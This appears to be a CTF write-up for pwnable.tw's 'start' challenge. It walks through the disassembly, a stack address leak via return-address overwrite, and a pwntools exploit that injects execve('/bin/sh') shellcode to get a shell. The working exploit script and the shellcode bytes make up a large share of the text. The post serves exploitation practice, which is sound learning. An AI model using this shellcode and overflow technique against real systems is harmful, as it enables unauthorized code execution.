pwn4fun on pwnable.tw

2017-10-26

content

  1. start (Finished on 10/26/2017)

start

overview

just run it,i got:

root@pwn:/mnt/hgfs/pwnexc/pwnable.tw/start# ./start
Let's start the CTF:aaa
root@pwn:/mnt/hgfs/pwnexc/pwnable.tw/start#

Obviously,it receives a string and then exit.
here are its assamble:

root@pwn:/mnt/hgfs/pwnexc/pwnable.tw/start# objdump -d start

start:     文件格式 elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   54                      push   %esp
 8048061:   68 9d 80 04 08          push   $0x804809d
 8048066:   31 c0                   xor    %eax,%eax
 8048068:   31 db                   xor    %ebx,%ebx
 804806a:   31 c9                   xor    %ecx,%ecx
 804806c:   31 d2                   xor    %edx,%edx
 804806e:   68 43 54 46 3a          push   $0x3a465443
 8048073:   68 74 68 65 20          push   $0x20656874
 8048078:   68 61 72 74 20          push   $0x20747261
 804807d:   68 73 20 73 74          push   $0x74732073
 8048082:   68 4c 65 74 27          push   $0x2774654c
 8048087:   89 e1                   mov    %esp,%ecx
 8048089:   b2 14                   mov    $0x14,%dl
 804808b:   b3 01                   mov    $0x1,%bl
 804808d:   b0 04                   mov    $0x4,%al
 804808f:   cd 80                   int    $0x80
 8048091:   31 db                   xor    %ebx,%ebx
 8048093:   b2 3c                   mov    $0x3c,%dl
 8048095:   b0 03                   mov    $0x3,%al
 8048097:   cd 80                   int    $0x80
 8048099:   83 c4 14                add    $0x14,%esp
 804809c:   c3                      ret    

0804809d <_exit>:
 804809d:   5c                      pop    %esp
 804809e:   31 c0                   xor    %eax,%eax
 80480a0:   40                      inc    %eax
 80480a1:   cd 80                   int    $0x80

the function write() is locating at 0x8048087

check the defense method:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

So my idea is:input a string to leak the stack addr,then arrange shellcode,when it return run at 0x804809c its next instruction will point to the shellcode.

step

the layout of stack:

gdb-peda$ stack 30
0000| 0xff9e6194 ("Let's start the CTF:3500
04\b60a3677
01")
0004| 0xff9e6198 ("s start the CTF:3500
04\b60a3677
01")
0008| 0xff9e619c ("art the CTF:3500
04\b60a3677
01")
0012| 0xff9e61a0 ("the CTF:3500
04\b60a3677
01")
0016| 0xff9e61a4 ("CTF:3500
04\b60a3677
01")
0020| 0xff9e61a8 --> 0x804809d (<_exit>:    pop    esp)
0024| 0xff9e61ac --> 0xff9e61b0 --> 0x1 
0028| 0xff9e61b0 --> 0x1 
0032| 0xff9e61b4 --> 0xff9e646a ("./start")
0036| 0xff9e61b8 --> 0x0 
0040| 0xff9e61bc --> 0xff9e6472 ("ZEITGEIST_DATA_PATH=/root/.local/share/zeitgeist")
0044| 0xff9e61c0 --> 0xff9e64a3 ("DBUS_STARTER_ADDRESS=unix:path=/run/user/0/bus,guid=07c6b2741affa1093934fedb59f194c2")

as we could see,when i can create a 24bytes-size string as input,the last 4bytes could cover its return addr(at 0xff9e61a8),if i make 0x8048087 cover it,then the function write() can print 20bytes contents from 0xff9e61ac,as the stack show,one of the stack addr(0xff9e61b0) locates at 0xff9e61ac.

exp:

from pwn import *

DEBUG = True
if DEBUG:
    r = process('./start')
else:
    r = remote('chall.pwnable.tw',10000)

get_stack = 'a'*20 + p32(0x8048087)
r.send(get_stack)
r.recvuntil(':')
stack = int(r.recv(4)[::-1].encode('hex'),16)
shellcode = '\x31\xc9\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
payload = 'a'*20 + p32(stack+20) + shellcode
r.send(payload)
r.interactive()

run the exp:

root@pwn:/mnt/hgfs/pwnexc/pwnable.tw/start# python exp.py 
[+] Starting local process './start': pid 4274
[*] Switching to interactive mode
\x00\x00\x00j\xa4\x84\xff\x00\x00\x00\x00r\xa4\x84\xff$id
uid=0(root) gid=0(root) groups=0(root)
$